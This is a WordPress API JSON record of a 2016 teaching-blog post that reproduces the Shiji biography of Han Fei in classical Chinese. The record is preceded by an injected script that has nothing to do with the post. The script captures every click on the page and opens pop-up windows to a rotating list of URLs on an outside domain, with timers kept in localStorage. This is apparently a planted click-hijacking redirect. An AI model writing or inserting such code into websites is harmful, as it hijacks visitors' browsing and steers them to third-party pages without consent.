<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1105,"date":"2016-03-17T11:13:54","date_gmt":"2016-03-17T03:13:54","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1105"},"modified":"2016-03-17T16:44:57","modified_gmt":"2016-03-17T08:44:57","slug":"%e3%80%8a%e5%8f%b2%e8%a8%98%e2%80%a7%e9%9f%93%e9%9d%9e%e5%88%97%e5%82%b3%e3%80%8b","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1105","title":{"rendered":"\u300a\u53f2\u8a18\u2027\u97d3\u975e\u5217\u50b3\u300b"},"content":{"rendered":"<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u97d3\u975e\u8005\uff0c\u97d3\u4e4b\u8af8\u516c\u5b50\u4e5f\u3002\u559c\u5211\u540d\u6cd5\u8853\u4e4b\u5b78\uff0c\u800c\u5176\u6b78\u672c\u65bc\u9ec3\u8001\u3002\u975e\u70ba\u4eba\u53e3\u5403\uff0c\u4e0d\u80fd\u9053\u8aaa\uff0c\u800c\u5584\u8457\u66f8\u3002\u8207\u674e\u65af\u4ff1\u4e8b\u8340\u537f\uff0c\u65af\u81ea\u4ee5\u70ba\u4e0d\u5982\u975e\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u975e\u898b\u97d3\u4e4b\u524a\u5f31\uff0c\u6578\u4ee5\u66f8\u8aeb\u97d3\u738b\uff0c\u97d3\u738b\u4e0d\u80fd\u7528\u3002\u65bc\u662f\u97d3\u975e\u75be\u6cbb\u570b\u4e0d\u52d9\u8129\u660e\u5176\u6cd5\u5236\uff0c\u57f7\u52e2\u4ee5\u79a6\u5176\u81e3\u4e0b\uff0c\u5bcc\u570b\u5f4a\u5175\u800c\u4ee5\u6c42\u4eba\u4efb\u8ce2\uff0c\u53cd\u8209\u6d6e\u6deb\u4e4b\u8839\u800c\u52a0\u4e4b\u65bc\u529f\u5be6\u4e4b\u4e0a\u3002\u4ee5\u70ba\u5112\u8005\u7528\u6587\u4e82\u6cd5\uff0c\u800c\u4fe0\u8005\u4ee5\u6b66\u72af\u7981\u3002\u5bec\u5247\u5bf5\u540d\u8b7d\u4e4b\u4eba\uff0c\u6025\u5247\u7528\u4ecb\u80c4\u4e4b\u58eb\u3002\u4eca\u8005\u6240\u990a\u975e\u6240\u7528\uff0c\u6240\u7528\u975e\u6240\u990a\u3002\u60b2\u5ec9\u76f4\u4e0d\u5bb9\u65bc\u90aa\u6789\u4e4b\u81e3\uff0c\u89c0\u5f80\u8005\u5f97\u5931\u4e4b\u8b8a\uff0c\u6545\u4f5c\u5b64\u61a4\u3001\u4e94\u8839\u3001\u5167\u5916\u5132\u3001\u8aaa\u6797\u3001\u8aaa\u96e3\u5341\u9918\u842c\u8a00\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u7136\u97d3\u975e\u77e5\u8aaa\u4e4b\u96e3\uff0c\u70ba\u8aaa\u96e3\u66f8\u751a\u5177\uff0c\u7d42\u6b7b\u65bc\u79e6\uff0c\u4e0d\u80fd\u81ea\u812b\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u8aaa\u96e3\u66f0\uff1a\u2026\u2026<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: \u6a19\u6977\u9ad4; color: #707070;\">\u5b8b\u6709\u5bcc\u4eba\uff0c\u5929\u96e8\u7246\u58de\u3002\u5176\u5b50\u66f0\u300c\u4e0d\u7bc9\u4e14\u6709\u76dc\u300d\uff0c\u5176\u9130\u4eba\u4e4b\u7236\u4ea6\u4e91\uff0c\u66ae\u800c\u679c\u5927\u4ea1\u5176\u8ca1\uff0c\u5176\u5bb6\u751a\u77e5\u5176\u5b50\u800c\u7591\u9130\u4eba\u4e4b\u7236\u3002\u6614\u8005\u912d\u6b66\u516c\u6b32\u4f10\u80e1\uff0c\u4e43\u4ee5\u5176\u5b50\u59bb\u4e4b\u3002\u56e0\u554f\u7fa4\u81e3\u66f0\uff1a\u300c\u543e\u6b32\u7528\u5175\uff0c\u8ab0\u53ef\u4f10\u8005\uff1f\u300d\u95dc\u5176\u601d\u66f0\uff1a\u300c\u80e1\u53ef\u4f10\u3002\u300d\u4e43\u622e\u95dc\u5176\u601d\uff0c\u66f0\uff1a\u300c\u80e1\uff0c\u5144\u5f1f\u4e4b\u570b\u4e5f\uff0c\u5b50\u8a00\u4f10\u4e4b\uff0c\u4f55\u4e5f\uff1f\u300d\u80e1\u541b\u805e\u4e4b\uff0c\u4ee5\u912d\u70ba\u89aa\u5df1\u800c\u4e0d\u5099\u912d\u3002\u912d\u4eba\u8972\u80e1\uff0c\u53d6\u4e4b\u3002\u6b64\u4e8c\u8aaa\u8005\uff0c\u5176\u77e5\u7686\u7576\u77e3\uff0c\u7136\u800c\u751a\u8005\u70ba\u622e\uff0c\u8584\u8005\u898b\u7591\u3002\u975e\u77e5\u4e4b\u96e3\u4e5f\uff0c\u8655\u77e5\u5247\u96e3\u77e3\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: \u6a19\u6977\u9ad4; color: #707070;\">\u6614\u8005\u5f4c\u5b50\u7455\u898b\u611b\u65bc\u885b\u541b\u3002\u885b\u570b\u4e4b\u6cd5\uff0c\u7aca\u99d5\u541b\u8eca\u8005\u7f6a\u81f3\u5216\u3002\u65e2\u800c\u5f4c\u5b50\u4e4b\u6bcd\u75c5\uff0c\u4eba\u805e\uff0c\u5f80\u591c\u544a\u4e4b\uff0c\u5f4c\u5b50\u77ef\u99d5\u541b\u8eca\u800c\u51fa\u3002\u541b\u805e\u4e4b\u800c\u8ce2\u4e4b\u66f0\uff1a\u300c\u5b5d\u54c9\uff0c\u70ba\u6bcd\u4e4b\u6545\u800c\u72af\u5216\u7f6a\uff01\u300d\u8207\u541b\u904a\u679c\u5712\uff0c\u5f4c\u5b50\u98df\u6843\u800c\u7518\uff0c\u4e0d\u76e1\u800c\u5949\u541b\u3002\u541b\u66f0\uff1a\u300c\u611b\u6211\u54c9\uff0c\u5fd8\u5176\u53e3\u800c\u5ff5\u6211\uff01\u300d\u53ca\u5f4c\u5b50\u8272\u8870\u800c\u611b\u5f1b\uff0c\u5f97\u7f6a\u65bc\u541b\u3002\u541b\u66f0\uff1a\u300c\u662f\u5617\u77ef\u99d5\u543e\u8eca\uff0c\u53c8\u5617\u98df\u6211\u4ee5\u5176\u9918\u6843\u3002\u300d\u6545\u5f4c\u5b50\u4e4b\u884c\u672a\u8b8a\u65bc\u521d\u4e5f\uff0c\u524d\u898b\u8ce2\u800c\u5f8c\u7372\u7f6a\u8005\uff0c\u611b\u618e\u4e4b\u81f3\u8b8a\u4e5f\u3002\u6545\u6709\u611b\u65bc\u4e3b\uff0c\u5247\u77e5\u7576\u800c\u52a0\u89aa\uff1b\u898b\u618e\u65bc\u4e3b\uff0c\u5247\u7f6a\u7576\u800c\u52a0\u758f\u3002\u6545\u8aeb\u8aaa\u4e4b\u58eb\u4e0d\u53ef\u4e0d\u5bdf\u611b\u618e\u4e4b\u4e3b\u800c\u5f8c\u8aaa\u4e4b\u77e3\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: \u6a19\u6977\u9ad4; color: #707070;\">\u592b\u9f8d\u4e4b\u70ba\u87f2\u4e5f\uff0c\u53ef\u64fe\u72ce\u800c\u9a0e\u4e5f\u3002\u7136\u5176\u5589\u4e0b\u6709\u9006\u9c57\u5f91\u5c3a\uff0c\u4eba\u6709\u5b30\u4e4b\uff0c\u5247\u5fc5\u6bba\u4eba\u3002\u4eba\u4e3b\u4ea6\u6709\u9006\u9c57\uff0c\u8aaa\u4e4b\u8005\u80fd\u7121\u5b30\u4eba\u4e3b\u4e4b\u9006\u9c57\uff0c\u5247\u5e7e\u77e3\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u4eba\u6216\u50b3\u5176\u66f8\u81f3\u79e6\u3002\u79e6\u738b\u898b\u5b64\u61a4\u3001\u4e94\u8839\u4e4b\u66f8\uff0c\u66f0\uff1a\u300c\u55df\u4e4e\uff0c\u5be1\u4eba\u5f97\u898b\u6b64\u4eba\u8207\u4e4b\u904a\uff0c\u6b7b\u4e0d\u6068\u77e3\uff01\u300d\u674e\u65af\u66f0\uff1a\u300c\u6b64\u97d3\u975e\u4e4b\u6240\u8457\u66f8\u4e5f\u3002\u300d\u79e6\u56e0\u6025\u653b\u97d3\u3002\u97d3\u738b\u59cb\u4e0d\u7528\u975e\uff0c\u53ca\u6025\uff0c\u4e43\u9063\u975e\u4f7f\u79e6\u3002\u79e6\u738b\u6085\u4e4b\uff0c\u672a\u4fe1\u7528\u3002\u674e\u65af\u3001\u59da\u8cc8\u5bb3\u4e4b\uff0c\u6bc0\u4e4b\u66f0\uff1a\u300c\u97d3\u975e\uff0c\u97d3\u4e4b\u8af8\u516c\u5b50\u4e5f\u3002\u4eca\u738b\u6b32\u4e26\u8af8\u4faf\uff0c\u975e\u7d42\u70ba\u97d3\u4e0d\u70ba\u79e6\uff0c\u6b64\u4eba\u4e4b\u60c5\u4e5f\u3002\u4eca\u738b\u4e0d\u7528\uff0c\u4e45\u7559\u800c\u6b78\u4e4b\uff0c\u6b64\u81ea\u907a\u60a3\u4e5f\uff0c\u4e0d\u5982\u4ee5\u904e\u6cd5\u8a85\u4e4b\u3002\u300d\u79e6\u738b\u4ee5\u70ba\u7136\uff0c\u4e0b\u540f\u6cbb\u975e\u3002\u674e\u65af\u4f7f\u4eba\u907a\u975e\u85e5\uff0c\u4f7f\u81ea\u6bba\u3002\u97d3\u975e\u6b32\u81ea\u9673\uff0c\u4e0d\u5f97\u898b\u3002\u79e6\u738b\u5f8c\u6094\u4e4b\uff0c\u4f7f\u4eba\u8d66\u4e4b\uff0c\u975e\u5df2\u6b7b\u77e3\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u7533\u5b50\u3001\u97d3\u5b50\u7686\u8457\u66f8\uff0c\u50b3\u65bc\u5f8c\u4e16\uff0c\u5b78\u8005\u591a\u6709\u3002\u4f59\u7368\u60b2\u97d3\u5b50\u70ba\u8aaa\u96e3\u800c\u4e0d\u80fd\u81ea\u812b\u8033\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u592a\u53f2\u516c\u66f0\uff1a\u2026\u2026\u97d3\u5b50\u5f15\u7e69\u58a8\uff0c\u5207\u4e8b\u60c5\uff0c\u660e\u662f\u975e\uff0c\u5176\u6975\u6158\u7909\u5c11\u6069\u3002\u7686\u539f\u65bc\u9053\u5fb7\u4e4b\u610f\uff0c\u800c\u8001\u5b50\u6df1\u9060\u77e3\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 24pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u00a0<\/span><\/p>\n<p><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; color: #707070;\">\u3000\u3000<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u97d3\u975e\u8005\uff0c\u97d3\u4e4b\u8af8\u516c\u5b50\u4e5f\u3002\u559c\u5211\u540d\u6cd5\u8853\u4e4b\u5b78\uff0c\u800c\u5176\u6b78\u672c\u65bc\u9ec3\u8001\u3002\u975e\u70ba\u4eba\u53e3\u5403\uff0c\u4e0d\u80fd\u9053\u8aaa\uff0c\u800c\u5584\u8457\u66f8\u3002\u8207\u674e\u65af\u4ff1\u4e8b\u8340\u537f\uff0c\u65af\u81ea\u4ee5\u70ba [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[45,49,1,42],"tags":[95,76],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1105"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1105"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1105\/revisions"}],"predecessor-version":[{"id":1106,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1105\/revisions\/1106"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1105"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1105"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1105"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}